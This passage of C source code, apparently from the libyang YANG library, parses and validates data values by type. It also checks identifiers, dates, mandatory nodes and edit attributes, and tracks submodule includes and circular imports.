LY_TYPE_IDENT, &value, (void*)lys_main_module(local_mod)->name, NULL); /* replace the old value with the new one (even if they may be the same) */ lydict_remove(ctx, *value_); *value_ = value; break; case LY_TYPE_INST: if (!value) { if (leaf) { LOGVAL(ctx, LYE_INVAL, LY_VLOG_LYD, contextnode, "", itemname); } else { LOGVAL(ctx, LYE_INMETA, LY_VLOG_LYD, contextnode, "<none>", itemname, ""); } goto error; } if (xml) { ly_ilo_change(NULL, ILO_IGNORE, &prev_ilo, NULL); /* first, convert value into the json format, silently */ value = transform_xml2json(ctx, value, xml, 1, 1); ly_ilo_restore(NULL, prev_ilo, NULL, 0); if (!value) { /* invalid instance-identifier format */ if (leaf) { LOGVAL(ctx, LYE_INVAL, LY_VLOG_LYD, contextnode, *value_, itemname); } else { LOGVAL(ctx, LYE_INMETA, LY_VLOG_LYD, contextnode, "<none>", itemname, *value_); } goto error; } else if (ly_strequal(value, *value_, 1)) { /* we have actually created the same expression (prefixes are the same as the module names) * so we have just increased dictionary's refcount - fix it */ lydict_remove(ctx, value); } } else if (dflt) { /* turn logging off */ ly_ilo_change(NULL, ILO_IGNORE, &prev_ilo, NULL); /* the value actually uses module's prefixes instead of the module names as in JSON format, * we have to convert it */ value = transform_schema2json(local_mod, value); if (!value) { /* invalid identityref format or it was already transformed, so ignore the error here */ value = *value_; } else if (ly_strequal(value, *value_, 1)) { /* we have actually created the same expression (prefixes are the same as the module names) * so we have just increased dictionary's refcount - fix it */ lydict_remove(ctx, value); } /* turn logging back on */ ly_ilo_restore(NULL, prev_ilo, NULL, 0); } else { if (make_canonical(ctx, LY_TYPE_INST, &value, NULL, NULL)) { /* if a change occurred, value was removed from the dictionary so fix the pointers */ *value_ = value; } } if (store) { /* note that the data node is an unresolved instance-identifier */ val->instance = NULL; *val_type = LY_TYPE_INST; *val_flags |= LY_VALUE_UNRES; } if (!ly_strequal(value, *value_, 1)) { /* update the changed value */ lydict_remove(ctx, *value_); *value_ = value; /* we have to remember the conversion into JSON format to be able to print it in correct form */ if (dflt) { type->parent->flags |= LYS_DFLTJSON; } } break; case LY_TYPE_LEAFREF: if (!value) { if (leaf) { LOGVAL(ctx, LYE_INVAL, LY_VLOG_LYD, contextnode, "", itemname); } else { LOGVAL(ctx, LYE_INMETA, LY_VLOG_LYD, contextnode, "<none>", itemname, ""); } goto error; } /* it is called not only to get the final type, but mainly to update value to canonical or JSON form * if needed */ t = lyp_parse_value(&type->info.lref.target->type, value_, xml, leaf, attr, NULL, store, dflt, trusted); value = *value_; /* refresh possibly changed value */ if (!t) { /* already logged */ goto error; } if (store) { /* make the note that the data node is an unresolved leafref (value union was already filled) */ *val_flags |= LY_VALUE_UNRES; } type = t; break; case LY_TYPE_STRING: if (!trusted && validate_length_range(0, (value ? ly_strlen_utf8(value) : 0), 0, 0, 0, type, value, contextnode)) { goto error; } if (!trusted && validate_pattern(ctx, value, type, contextnode)) { goto error; } /* special handling of ietf-yang-types xpath1.0 */ for (tpdf = type->der; tpdf->module && (strcmp(tpdf->name, "xpath1.0") || strcmp(tpdf->module->name, "ietf-yang-types")); tpdf = tpdf->type.der); if (tpdf->module && xml) { /* convert value into the json format */ value = transform_xml2json(ctx, value ? value : "", xml, 1, 1); if (!value) { /* invalid instance-identifier format */ if (leaf) { LOGVAL(ctx, LYE_INVAL, LY_VLOG_LYD, contextnode, *value_, itemname); } else { LOGVAL(ctx, LYE_INMETA, LY_VLOG_LYD, contextnode, "<none>", itemname, *value_); } goto error; } if (!ly_strequal(value, *value_, 1)) { /* update the changed value */ lydict_remove(ctx, *value_); *value_ = value; } } if (store) { /* store the result */ val->string = value; *val_type = LY_TYPE_STRING; } break; case LY_TYPE_INT8: if (parse_int(value, __INT64_C(-128), __INT64_C(127), dflt ? 0 : 10, &num, contextnode) || (!trusted && validate_length_range(1, 0, num, 0, 0, type, value, contextnode))) { goto error; } make_canonical(ctx, LY_TYPE_INT8, value_, &num, NULL); if (store) { /* store the result */ val->int8 = (int8_t)num; *val_type = LY_TYPE_INT8; } break; case LY_TYPE_INT16: if (parse_int(value, __INT64_C(-32768), __INT64_C(32767), dflt ? 0 : 10, &num, contextnode) || (!trusted && validate_length_range(1, 0, num, 0, 0, type, value, contextnode))) { goto error; } make_canonical(ctx, LY_TYPE_INT16, value_, &num, NULL); if (store) { /* store the result */ val->int16 = (int16_t)num; *val_type = LY_TYPE_INT16; } break; case LY_TYPE_INT32: if (parse_int(value, __INT64_C(-2147483648), __INT64_C(2147483647), dflt ? 0 : 10, &num, contextnode) || (!trusted && validate_length_range(1, 0, num, 0, 0, type, value, contextnode))) { goto error; } make_canonical(ctx, LY_TYPE_INT32, value_, &num, NULL); if (store) { /* store the result */ val->int32 = (int32_t)num; *val_type = LY_TYPE_INT32; } break; case LY_TYPE_INT64: if (parse_int(value, __INT64_C(-9223372036854775807) - __INT64_C(1), __INT64_C(9223372036854775807), dflt ? 0 : 10, &num, contextnode) || (!trusted && validate_length_range(1, 0, num, 0, 0, type, value, contextnode))) { goto error; } make_canonical(ctx, LY_TYPE_INT64, value_, &num, NULL); if (store) { /* store the result */ val->int64 = num; *val_type = LY_TYPE_INT64; } break; case LY_TYPE_UINT8: if (parse_uint(value, __UINT64_C(255), dflt ? 0 : 10, &unum, contextnode) || (!trusted && validate_length_range(0, unum, 0, 0, 0, type, value, contextnode))) { goto error; } make_canonical(ctx, LY_TYPE_UINT8, value_, &unum, NULL); if (store) { /* store the result */ val->uint8 = (uint8_t)unum; *val_type = LY_TYPE_UINT8; } break; case LY_TYPE_UINT16: if (parse_uint(value, __UINT64_C(65535), dflt ? 0 : 10, &unum, contextnode) || (!trusted && validate_length_range(0, unum, 0, 0, 0, type, value, contextnode))) { goto error; } make_canonical(ctx, LY_TYPE_UINT16, value_, &unum, NULL); if (store) { /* store the result */ val->uint16 = (uint16_t)unum; *val_type = LY_TYPE_UINT16; } break; case LY_TYPE_UINT32: if (parse_uint(value, __UINT64_C(4294967295), dflt ? 0 : 10, &unum, contextnode) || (!trusted && validate_length_range(0, unum, 0, 0, 0, type, value, contextnode))) { goto error; } make_canonical(ctx, LY_TYPE_UINT32, value_, &unum, NULL); if (store) { /* store the result */ val->uint32 = (uint32_t)unum; *val_type = LY_TYPE_UINT32; } break; case LY_TYPE_UINT64: if (parse_uint(value, __UINT64_C(18446744073709551615), dflt ? 0 : 10, &unum, contextnode) || (!trusted && validate_length_range(0, unum, 0, 0, 0, type, value, contextnode))) { goto error; } make_canonical(ctx, LY_TYPE_UINT64, value_, &unum, NULL); if (store) { /* store the result */ val->uint64 = unum; *val_type = LY_TYPE_UINT64; } break; case LY_TYPE_UNION: if (store) { /* unresolved union type */ memset(val, 0, sizeof(lyd_val)); *val_type = LY_TYPE_UNION; } if (type->info.uni.has_ptr_type) { /* we are not resolving anything here, only parsing, and in this case we cannot decide * the type without resolving it -> we return the union type (resolve it with resolve_union()) */ if (xml) { /* in case it should resolve into a instance-identifier, we can only do the JSON conversion here */ ly_ilo_change(NULL, ILO_IGNORE, &prev_ilo, NULL); val->string = transform_xml2json(ctx, value, xml, 1, 1); ly_ilo_restore(NULL, prev_ilo, NULL, 0); if (!val->string) { /* invalid instance-identifier format, likely some other type */ val->string = lydict_insert(ctx, value, 0); } } break; } t = NULL; found = 0; /* turn logging off, we are going to try to validate the value with all the types in order */ ly_ilo_change(NULL, ILO_IGNORE, &prev_ilo, NULL); while ((t = lyp_get_next_union_type(type, t, &found))) { found = 0; ret = lyp_parse_value(t, value_, xml, leaf, attr, NULL, store, dflt, 0); if (ret) { /* we have the result */ type = ret; break; } if (store) { /* erase possible present and invalid value data */ lyd_free_value(*val, *val_type, *val_flags, t, *value_, NULL, NULL, NULL); memset(val, 0, sizeof(lyd_val)); } } /* turn logging back on */ ly_ilo_restore(NULL, prev_ilo, NULL, 0); if (!t) { /* not found */ if (store) { *val_type = 0; } if (leaf) { LOGVAL(ctx, LYE_INVAL, LY_VLOG_LYD, contextnode, *value_ ? *value_ : "", itemname); } else { LOGVAL(ctx, LYE_INMETA, LY_VLOG_LYD, contextnode, "<none>", itemname, *value_); } goto error; } break; default: LOGINT(ctx); goto error; } /* search user types in case this value is supposed to be stored in a custom way */ if (store && type->der && type->der->module) { c = lytype_store(type->der->module, type->der->name, value_, val); if (c == -1) { goto error; } else if (!c) { *val_flags |= LY_VALUE_USER; } } /* free backup */ if (store) { lyd_free_value(old_val, old_val_type, old_val_flags, type, old_val_str, NULL, NULL, NULL); lydict_remove(ctx, old_val_str); } return type; error: /* restore the backup */ if (store) { *val = old_val; *val_type = old_val_type; *val_flags = old_val_flags; lydict_remove(ctx, old_val_str); } return NULL; } /* does not log, cannot fail */ struct lys_type * lyp_get_next_union_type(struct lys_type *type, struct lys_type *prev_type, int *found) { unsigned int i; struct lys_type *ret = NULL; while (!type->info.uni.count) { assert(type->der); /* at least the direct union type has to have type specified */ type = &type->der->type; } for (i = 0; i < type->info.uni.count; ++i) { if (type->info.uni.types[i].base == LY_TYPE_UNION) { ret = lyp_get_next_union_type(&type->info.uni.types[i], prev_type, found); if (ret) { break; } continue; } if (!prev_type || *found) { ret = &type->info.uni.types[i]; break; } if (&type->info.uni.types[i] == prev_type) { *found = 1; } } return ret; } /* ret 0 - ret set, ret 1 - ret not set, no log, ret -1 - ret not set, fatal error */ int lyp_fill_attr(struct ly_ctx *ctx, struct lyd_node *parent, const char *module_ns, const char *module_name, const char *attr_name, const char *attr_value, struct lyxml_elem *xml, int options, struct lyd_attr **ret) { const struct lys_module *mod = NULL; const struct lys_submodule *submod = NULL; struct lys_type **type; struct lyd_attr *dattr; int pos, i, j, k; /* first, get module where the annotation should be defined */ if (module_ns) { mod = (struct lys_module *)ly_ctx_get_module_by_ns(ctx, module_ns, NULL, 0); } else if (module_name) { mod = (struct lys_module *)ly_ctx_get_module(ctx, module_name, NULL, 0); } else { LOGINT(ctx); return -1; } if (!mod) { return 1; } /* then, find the appropriate annotation definition */ pos = -1; for (i = 0, j = 0; i < mod->ext_size; i = i + j + 1) { j = lys_ext_instance_presence(&ctx->models.list[0]->extensions[0], &mod->ext[i], mod->ext_size - i); if (j == -1) { break; } if (ly_strequal(mod->ext[i + j]->arg_value, attr_name, 0)) { pos = i + j; break; } } /* try submodules */ if (pos == -1) { for (k = 0; k < mod->inc_size; ++k) { submod = mod->inc[k].submodule; for (i = 0, j = 0; i < submod->ext_size; i = i + j + 1) { j = lys_ext_instance_presence(&ctx->models.list[0]->extensions[0], &submod->ext[i], submod->ext_size - i); if (j == -1) { break; } if (ly_strequal(submod->ext[i + j]->arg_value, attr_name, 0)) { pos = i + j; break; } } } } if (pos == -1) { return 1; } /* allocate and fill the data attribute structure */ dattr = calloc(1, sizeof *dattr); LY_CHECK_ERR_RETURN(!dattr, LOGMEM(ctx), -1); dattr->parent = parent; dattr->next = NULL; dattr->annotation = submod ? (struct lys_ext_instance_complex *)submod->ext[pos] : (struct lys_ext_instance_complex *)mod->ext[pos]; dattr->name = lydict_insert(ctx, attr_name, 0); dattr->value_str = lydict_insert(ctx, attr_value, 0); /* the value is here converted to a JSON format if needed in case of LY_TYPE_IDENT and LY_TYPE_INST or to a * canonical form of the value */ type = lys_ext_complex_get_substmt(LY_STMT_TYPE, dattr->annotation, NULL); if (!type || !lyp_parse_value(*type, &dattr->value_str, xml, NULL, dattr, NULL, 1, 0, options & LYD_OPT_TRUSTED)) { lydict_remove(ctx, dattr->name); lydict_remove(ctx, dattr->value_str); free(dattr); return -1; } *ret = dattr; return 0; } int lyp_check_edit_attr(struct ly_ctx *ctx, struct lyd_attr *attr, struct lyd_node *parent, int *editbits) { struct lyd_attr *last = NULL; int bits = 0; /* 0x01 - insert attribute present * 0x02 - insert is relative (before or after) * 0x04 - value attribute present * 0x08 - key attribute present * 0x10 - operation attribute present * 0x20 - operation not allowing insert attribute (delete or remove) */ LY_TREE_FOR(attr, attr) { last = NULL; if (!strcmp(attr->annotation->arg_value, "operation") && !strcmp(attr->annotation->module->name, "ietf-netconf")) { if (bits & 0x10) { LOGVAL(ctx, LYE_TOOMANY, LY_VLOG_LYD, parent, "operation attributes", parent->schema->name); return -1; } bits |= 0x10; if (attr->value.enm->value >= 3) { /* delete or remove */ bits |= 0x20; } } else if (attr->annotation->module == ctx->models.list[1] && /* internal YANG schema */ !strcmp(attr->annotation->arg_value, "insert")) { /* 'insert' attribute present */ if (!(parent->schema->flags & LYS_USERORDERED)) { /* ... but it is not expected */ LOGVAL(ctx, LYE_INATTR, LY_VLOG_LYD, parent, "insert"); return -1; } if (bits & 0x01) { LOGVAL(ctx, LYE_TOOMANY, LY_VLOG_LYD, parent, "insert attributes", parent->schema->name); return -1; } bits |= 0x01; if (attr->value.enm->value >= 2) { /* before or after */ bits |= 0x02; } last = attr; } else if (attr->annotation->module == ctx->models.list[1] && /* internal YANG schema */ !strcmp(attr->annotation->arg_value, "value")) { if (bits & 0x04) { LOGVAL(ctx, LYE_TOOMANY, LY_VLOG_LYD, parent, "value attributes", parent->schema->name); return -1; } else if (parent->schema->nodetype & LYS_LIST) { LOGVAL(ctx, LYE_INATTR, LY_VLOG_LYD, parent, attr->name); return -1; } bits |= 0x04; last = attr; } else if (attr->annotation->module == ctx->models.list[1] && /* internal YANG schema */ !strcmp(attr->annotation->arg_value, "key")) { if (bits & 0x08) { LOGVAL(ctx, LYE_TOOMANY, LY_VLOG_LYD, parent, "key attributes", parent->schema->name); return -1; } else if (parent->schema->nodetype & LYS_LEAFLIST) { LOGVAL(ctx, LYE_INATTR, LY_VLOG_LYD, parent, attr->name); return -1; } bits |= 0x08; last = attr; } } /* report errors */ if (last && (!(parent->schema->nodetype & (LYS_LEAFLIST | LYS_LIST)) || !(parent->schema->flags & LYS_USERORDERED))) { /* moving attributes in wrong elements (not an user ordered list or not a list at all) */ LOGVAL(ctx, LYE_INATTR, LY_VLOG_LYD, parent, last->name); return -1; } else if (bits == 3) { /* 0x01 | 0x02 - relative position, but value/key is missing */ if (parent->schema->nodetype & LYS_LIST) { LOGVAL(ctx, LYE_MISSATTR, LY_VLOG_LYD, parent, "key", parent->schema->name); } else { /* LYS_LEAFLIST */ LOGVAL(ctx, LYE_MISSATTR, LY_VLOG_LYD, parent, "value", parent->schema->name); } return -1; } else if ((bits & (0x04 | 0x08)) && !(bits & 0x02)) { /* key/value without relative position */ LOGVAL(ctx, LYE_INATTR, LY_VLOG_LYD, parent, (bits & 0x04) ? "value" : "key"); return -1; } else if ((bits & 0x21) == 0x21) { /* insert in delete/remove */ LOGVAL(ctx, LYE_INATTR, LY_VLOG_LYD, parent, "insert"); return -1; } if (editbits) { *editbits = bits; } return 0; } /* does not log */ static int dup_identity_check(const char *id, struct lys_ident *ident, uint32_t size) { uint32_t i; for (i = 0; i < size; i++) { if (ly_strequal(id, ident[i].name, 1)) { /* name collision */ return EXIT_FAILURE; } } return EXIT_SUCCESS; } int dup_identities_check(const char *id, struct lys_module *module) { struct lys_module *mainmod; int i; if (dup_identity_check(id, module->ident, module->ident_size)) { LOGVAL(module->ctx, LYE_DUPID, LY_VLOG_NONE, NULL, "identity", id); return EXIT_FAILURE; } /* check identity in submodules */ mainmod = lys_main_module(module); for (i = 0; i < mainmod->inc_size && mainmod->inc[i].submodule; ++i) { if (dup_identity_check(id, mainmod->inc[i].submodule->ident, mainmod->inc[i].submodule->ident_size)) { LOGVAL(module->ctx, LYE_DUPID, LY_VLOG_NONE, NULL, "identity", id); return EXIT_FAILURE; } } return EXIT_SUCCESS; } /* does not log */ int dup_typedef_check(const char *type, struct lys_tpdf *tpdf, int size) { int i; for (i = 0; i < size; i++) { if (!strcmp(type, tpdf[i].name)) { /* name collision */ return EXIT_FAILURE; } } return EXIT_SUCCESS; } /* does not log */ static int dup_feature_check(const char *id, struct lys_module *module) { int i; for (i = 0; i < module->features_size; i++) { if (!strcmp(id, module->features[i].name)) { return EXIT_FAILURE; } } return EXIT_SUCCESS; } /* does not log */ static int dup_prefix_check(const char *prefix, struct lys_module *module) { int i; if (module->prefix && !strcmp(module->prefix, prefix)) { return EXIT_FAILURE; } for (i = 0; i < module->imp_size; i++) { if (!strcmp(module->imp[i].prefix, prefix)) { return EXIT_FAILURE; } } return EXIT_SUCCESS; } /* logs directly */ int lyp_check_identifier(struct ly_ctx *ctx, const char *id, enum LY_IDENT type, struct lys_module *module, struct lys_node *parent) { int i, j; int size; struct lys_tpdf *tpdf; struct lys_node *node; struct lys_module *mainmod; struct lys_submodule *submod; assert(ctx && id); /* check id syntax */ if (!(id[0] >= 'A' && id[0] <= 'Z') && !(id[0] >= 'a' && id[0] <= 'z') && id[0] != '_') { LOGVAL(ctx, LYE_INID, LY_VLOG_NONE, NULL, id, "invalid start character"); return EXIT_FAILURE; } for (i = 1; id[i]; i++) { if (!(id[i] >= 'A' && id[i] <= 'Z') && !(id[i] >= 'a' && id[i] <= 'z') && !(id[i] >= '0' && id[i] <= '9') && id[i] != '_' && id[i] != '-' && id[i] != '.') { LOGVAL(ctx, LYE_INID, LY_VLOG_NONE, NULL, id, "invalid character"); return EXIT_FAILURE; } } if (i > 64) { LOGWRN(ctx, "Identifier \"%s\" is long, you should use something shorter.", id); } switch (type) { case LY_IDENT_NAME: /* check uniqueness of the node within its siblings */ if (!parent) { break; } LY_TREE_FOR(parent->child, node) { if (ly_strequal(node->name, id, 1)) { LOGVAL(ctx, LYE_INID, LY_VLOG_NONE, NULL, id, "name duplication"); return EXIT_FAILURE; } } break; case LY_IDENT_TYPE: assert(module); mainmod = lys_main_module(module); /* check collision with the built-in types */ if (!strcmp(id, "binary") || !strcmp(id, "bits") || !strcmp(id, "boolean") || !strcmp(id, "decimal64") || !strcmp(id, "empty") || !strcmp(id, "enumeration") || !strcmp(id, "identityref") || !strcmp(id, "instance-identifier") || !strcmp(id, "int8") || !strcmp(id, "int16") || !strcmp(id, "int32") || !strcmp(id, "int64") || !strcmp(id, "leafref") || !strcmp(id, "string") || !strcmp(id, "uint8") || !strcmp(id, "uint16") || !strcmp(id, "uint32") || !strcmp(id, "uint64") || !strcmp(id, "union")) { LOGVAL(ctx, LYE_INARG, LY_VLOG_NONE, NULL, id, "typedef"); LOGVAL(ctx, LYE_SPEC, LY_VLOG_NONE, NULL, "Typedef name duplicates a built-in type."); return EXIT_FAILURE; } /* check locally scoped typedefs (avoid name shadowing) */ for (; parent; parent = lys_parent(parent)) { switch (parent->nodetype) { case LYS_CONTAINER: size = ((struct lys_node_container *)parent)->tpdf_size; tpdf = ((struct lys_node_container *)parent)->tpdf; break; case LYS_LIST: size = ((struct lys_node_list *)parent)->tpdf_size; tpdf = ((struct lys_node_list *)parent)->tpdf; break; case LYS_GROUPING: size = ((struct lys_node_grp *)parent)->tpdf_size; tpdf = ((struct lys_node_grp *)parent)->tpdf; break; default: continue; } if (dup_typedef_check(id, tpdf, size)) { LOGVAL(ctx, LYE_DUPID, LY_VLOG_NONE, NULL, "typedef", id); return EXIT_FAILURE; } } /* check top-level names */ if (dup_typedef_check(id, module->tpdf, module->tpdf_size)) { LOGVAL(ctx, LYE_DUPID, LY_VLOG_NONE, NULL, "typedef", id); return EXIT_FAILURE; } /* check submodule's top-level names */ for (i = 0; i < mainmod->inc_size && mainmod->inc[i].submodule; i++) { if (dup_typedef_check(id, mainmod->inc[i].submodule->tpdf, mainmod->inc[i].submodule->tpdf_size)) { LOGVAL(ctx, LYE_DUPID, LY_VLOG_NONE, NULL, "typedef", id); return EXIT_FAILURE; } } break; case LY_IDENT_PREFIX: assert(module); /* check the module itself */ if (dup_prefix_check(id, module)) { LOGVAL(ctx, LYE_DUPID, LY_VLOG_NONE, NULL, "prefix", id); return EXIT_FAILURE; } break; case LY_IDENT_FEATURE: assert(module); mainmod = lys_main_module(module); /* check feature name uniqueness*/ /* check features in the current module */ if (dup_feature_check(id, module)) { LOGVAL(ctx, LYE_DUPID, LY_VLOG_NONE, NULL, "feature", id); return EXIT_FAILURE; } /* and all its submodules */ for (i = 0; i < mainmod->inc_size && mainmod->inc[i].submodule; i++) { if (dup_feature_check(id, (struct lys_module *)mainmod->inc[i].submodule)) { LOGVAL(ctx, LYE_DUPID, LY_VLOG_NONE, NULL, "feature", id); return EXIT_FAILURE; } } break; case LY_IDENT_EXTENSION: assert(module); mainmod = lys_main_module(module); /* check extension name uniqueness in the main module ... */ for (i = 0; i < mainmod->extensions_size; i++) { if (ly_strequal(id, mainmod->extensions[i].name, 1)) { LOGVAL(ctx, LYE_DUPID, LY_VLOG_NONE, NULL, "extension", id); return EXIT_FAILURE; } } /* ... and all its submodules */ for (j = 0; j < mainmod->inc_size && mainmod->inc[j].submodule; j++) { submod = mainmod->inc[j].submodule; /* shortcut */ for (i = 0; i < submod->extensions_size; i++) { if (ly_strequal(id, submod->extensions[i].name, 1)) { LOGVAL(ctx, LYE_DUPID, LY_VLOG_NONE, NULL, "extension", id); return EXIT_FAILURE; } } } break; default: /* no check required */ break; } return EXIT_SUCCESS; } /* logs directly */ int lyp_check_date(struct ly_ctx *ctx, const char *date) { int i; struct tm tm, tm_; char *r; assert(date); /* check format */ for (i = 0; i < LY_REV_SIZE - 1; i++) { if (i == 4 || i == 7) { if (date[i] != '-') { goto error; } } else if (!isdigit(date[i])) { goto error; } } /* check content, e.g. 2018-02-31 */ memset(&tm, 0, sizeof tm); r = strptime(date, "%Y-%m-%d", &tm); if (!r || r != &date[LY_REV_SIZE - 1]) { goto error; } /* set some arbitrary non-0 value in case DST changes, it could move the day otherwise */ tm.tm_hour = 12; memcpy(&tm_, &tm, sizeof tm); mktime(&tm_); /* mktime modifies tm_ if it refers invalid date */ if (tm.tm_mday != tm_.tm_mday) { /* e.g 2018-02-29 -> 2018-03-01 */ /* checking days is enough, since other errors * have been checked by strptime() */ goto error; } return EXIT_SUCCESS; error: LOGVAL(ctx, LYE_INDATE, LY_VLOG_NONE, NULL, date); return EXIT_FAILURE; } /** * @return * NULL - success * root - not yet resolvable * other node - mandatory node under the root */ static const struct lys_node * lyp_check_mandatory_(const struct lys_node *root) { int mand_flag = 0; const struct lys_node *iter = NULL; while ((iter = lys_getnext(iter, root, NULL, LYS_GETNEXT_WITHCHOICE | LYS_GETNEXT_WITHUSES | LYS_GETNEXT_INTOUSES | LYS_GETNEXT_INTONPCONT | LYS_GETNEXT_NOSTATECHECK))) { if (iter->nodetype == LYS_USES) { if (!((struct lys_node_uses *)iter)->grp) { /* not yet resolved uses */ return root; } else { /* go into uses */ continue; } } if (iter->nodetype == LYS_CHOICE) { /* skip it, it was already checked for direct mandatory node in default */ continue; } if (iter->nodetype == LYS_LIST) { if (((struct lys_node_list *)iter)->min) { mand_flag = 1; } } else if (iter->nodetype == LYS_LEAFLIST) { if (((struct lys_node_leaflist *)iter)->min) { mand_flag = 1; } } else if (iter->flags & LYS_MAND_TRUE) { mand_flag = 1; } if (mand_flag) { return iter; } } return NULL; } /* logs directly */ int lyp_check_mandatory_augment(struct lys_node_augment *aug, const struct lys_node *target) { const struct lys_node *node; if (aug->when || target->nodetype == LYS_CHOICE) { /* - mandatory nodes in new cases are ok; * clarification from YANG 1.1 - augmentation can add mandatory nodes when it is * conditional with a when statement */ return EXIT_SUCCESS; } if ((node = lyp_check_mandatory_((struct lys_node *)aug))) { if (node != (struct lys_node *)aug) { LOGVAL(target->module->ctx, LYE_INSTMT, LY_VLOG_NONE, NULL, "mandatory"); LOGVAL(target->module->ctx, LYE_SPEC, LY_VLOG_NONE, NULL, "Mandatory node \"%s\" appears in augment of \"%s\" without when condition.", node->name, aug->target_name); return -1; } return EXIT_FAILURE; } return EXIT_SUCCESS; } /** * @brief check that a mandatory node is not directly under the default case. * @param[in] node choice with default node * @return EXIT_SUCCESS if the constraint is fulfilled, EXIT_FAILURE otherwise */ int lyp_check_mandatory_choice(struct lys_node *node) { const struct lys_node *mand, *dflt = ((struct lys_node_choice *)node)->dflt; if ((mand = lyp_check_mandatory_(dflt))) { if (mand != dflt) { LOGVAL(node->module->ctx, LYE_INSTMT, LY_VLOG_NONE, NULL, "mandatory"); LOGVAL(node->module->ctx, LYE_SPEC, LY_VLOG_NONE, NULL, "Mandatory node \"%s\" is directly under the default case \"%s\" of the \"%s\" choice.", mand->name, dflt->name, node->name); return -1; } return EXIT_FAILURE; } return EXIT_SUCCESS; } /** * @brief Check status for invalid combination. * * @param[in] flags1 Flags of the referencing node. * @param[in] mod1 Module of the referencing node, * @param[in] name1 Schema node name of the referencing node. * @param[in] flags2 Flags of the referenced node. * @param[in] mod2 Module of the referenced node, * @param[in] name2 Schema node name of the referenced node. * @return EXIT_SUCCES on success, EXIT_FAILURE on invalid reference. */ int lyp_check_status(uint16_t flags1, struct lys_module *mod1, const char *name1, uint16_t flags2, struct lys_module *mod2, const char *name2, const struct lys_node *node) { uint16_t flg1, flg2; flg1 = (flags1 & LYS_STATUS_MASK) ? (flags1 & LYS_STATUS_MASK) : LYS_STATUS_CURR; flg2 = (flags2 & LYS_STATUS_MASK) ? (flags2 & LYS_STATUS_MASK) : LYS_STATUS_CURR; if ((flg1 < flg2) && (lys_main_module(mod1) == lys_main_module(mod2))) { LOGVAL(mod1->ctx, LYE_INSTATUS, node ? LY_VLOG_LYS : LY_VLOG_NONE, node, flg1 == LYS_STATUS_CURR ? "current" : "deprecated", name1, "references", flg2 == LYS_STATUS_OBSLT ? "obsolete" : "deprecated", name2); return EXIT_FAILURE; } return EXIT_SUCCESS; } void lyp_del_includedup(struct lys_module *mod, int free_subs) { struct ly_modules_list *models = &mod->ctx->models; uint8_t i; assert(mod && !mod->type); if (models->parsed_submodules_count) { for (i = models->parsed_submodules_count - 1; models->parsed_submodules[i]->type; --i); if (models->parsed_submodules[i] == mod) { if (free_subs) { for (i = models->parsed_submodules_count - 1; models->parsed_submodules[i]->type; --i) { lys_sub_module_remove_devs_augs((struct lys_module *)models->parsed_submodules[i]); lys_submodule_module_data_free((struct lys_submodule *)models->parsed_submodules[i]); lys_submodule_free((struct lys_submodule *)models->parsed_submodules[i], NULL); } } models->parsed_submodules_count = i; if (!models->parsed_submodules_count) { free(models->parsed_submodules); models->parsed_submodules = NULL; } } } } static void lyp_add_includedup(struct lys_module *sub_mod, struct lys_submodule *parsed_submod) { struct ly_modules_list *models = &sub_mod->ctx->models; int16_t i; /* store main module if first include */ if (models->parsed_submodules_count) { for (i = models->parsed_submodules_count - 1; models->parsed_submodules[i]->type; --i); } else { i = -1; } if ((i == -1) || (models->parsed_submodules[i] != lys_main_module(sub_mod))) { ++models->parsed_submodules_count; models->parsed_submodules = ly_realloc(models->parsed_submodules, models->parsed_submodules_count * sizeof *models->parsed_submodules); LY_CHECK_ERR_RETURN(!models->parsed_submodules, LOGMEM(sub_mod->ctx), ); models->parsed_submodules[models->parsed_submodules_count - 1] = lys_main_module(sub_mod); } /* store parsed submodule */ ++models->parsed_submodules_count; models->parsed_submodules = ly_realloc(models->parsed_submodules, models->parsed_submodules_count * sizeof *models->parsed_submodules); LY_CHECK_ERR_RETURN(!models->parsed_submodules, LOGMEM(sub_mod->ctx), ); models->parsed_submodules[models->parsed_submodules_count - 1] = (struct lys_module *)parsed_submod; } /* * types: 0 - include, 1 - import */ static int lyp_check_circmod(struct lys_module *module, const char *value, int type) { LY_ECODE code = type ? LYE_CIRC_IMPORTS : LYE_CIRC_INCLUDES; struct ly_modules_list *models = &module->ctx->models; uint8_t i; /* include/import itself */ if (ly_strequal(module->name, value, 1)) { LOGVAL(module->ctx, code, LY_VLOG_NONE, NULL, value); return -1; } /* currently parsed modules */ for (i = 0; i < models->parsing_sub_modules_count; i++) { if (ly_strequal(models->parsing_sub_modules[i]->name, value, 1)) { LOGVAL(module->ctx, code, LY_VLOG_NONE, NULL, value); return -1; } } return 0; } int lyp_check_circmod_add(struct lys_module *module) { struct ly_modules_list *models = &module->ctx->models; /* storing - enlarge the list of modules being currently parsed */ ++models->parsing_sub_modules_count; models->parsing_sub_modules = ly_realloc(models->parsing_sub_modules, models->parsing_sub_modules_count * sizeof *models->parsing_sub_modules); LY_CHECK_ERR_RETURN(!models->parsing_sub_modules, LOGMEM(module->ctx), -1); models->parsing_sub_modules[models->parsing_sub_modules_count - 1] = module; return 0; } void lyp_check_circmod_pop(struct ly_ctx *ctx) { if (!ctx->models.parsing_sub_modules_count) { LOGINT(ctx); return; } /* update the list of currently being parsed modules */ ctx->models.parsing_sub_modules_count--; if (!ctx->models.parsing_sub_modules_count) { free(ctx->models.parsing_sub_modules); ctx->models.parsing_sub_modules = NULL; } } /* * -1 - error - invalid duplicities) * 0 - success, no duplicity * 1 - success, valid duplicity found and stored in *sub */ static int lyp_check_includedup(struct lys_module *mod, const char *name, struct lys_include *inc, struct lys_submodule **sub) { struct lys_module **parsed_sub = mod->ctx->models.parsed_submodules; uint8_t i, parsed_sub_count = mod->ctx->models.parsed_submodules_count; assert(sub); for (i = 0; i < mod->inc_size; ++i) { if (ly_strequal(mod->inc[i].submodule->name, name, 1)) { /* the same module is already included in the same module - error */ LOGVAL(mod->ctx, LYE_INARG, LY_VLOG_NONE, NULL, name, "include"); LOGVAL(mod->ctx, LYE_SPEC, LY_VLOG_NONE, NULL, "Submodule \"%s\" included twice in the same module \"%s\".", name, mod->name); return -1; } } if (parsed_sub_count) { assert(!parsed_sub[0]->type); for (i = parsed_sub_count - 1; parsed_sub[i]->type; --i) { if (ly_strequal(parsed_sub[i]->name, name, 1)) { /* check revisions, including multiple revisions of a single module is error */ if (inc->rev[0] && (!parsed_sub[i]->rev_size || strcmp(parsed_sub[i]->rev[0].date, inc->rev))) { /* the already included submodule has * - no revision, but here we require some * - different revision than the one required here */ LOGVAL(mod->ctx, LYE_INARG, LY_VLOG_NONE, NULL, name, "include"); LOGVAL(mod->ctx, LYE_SPEC, 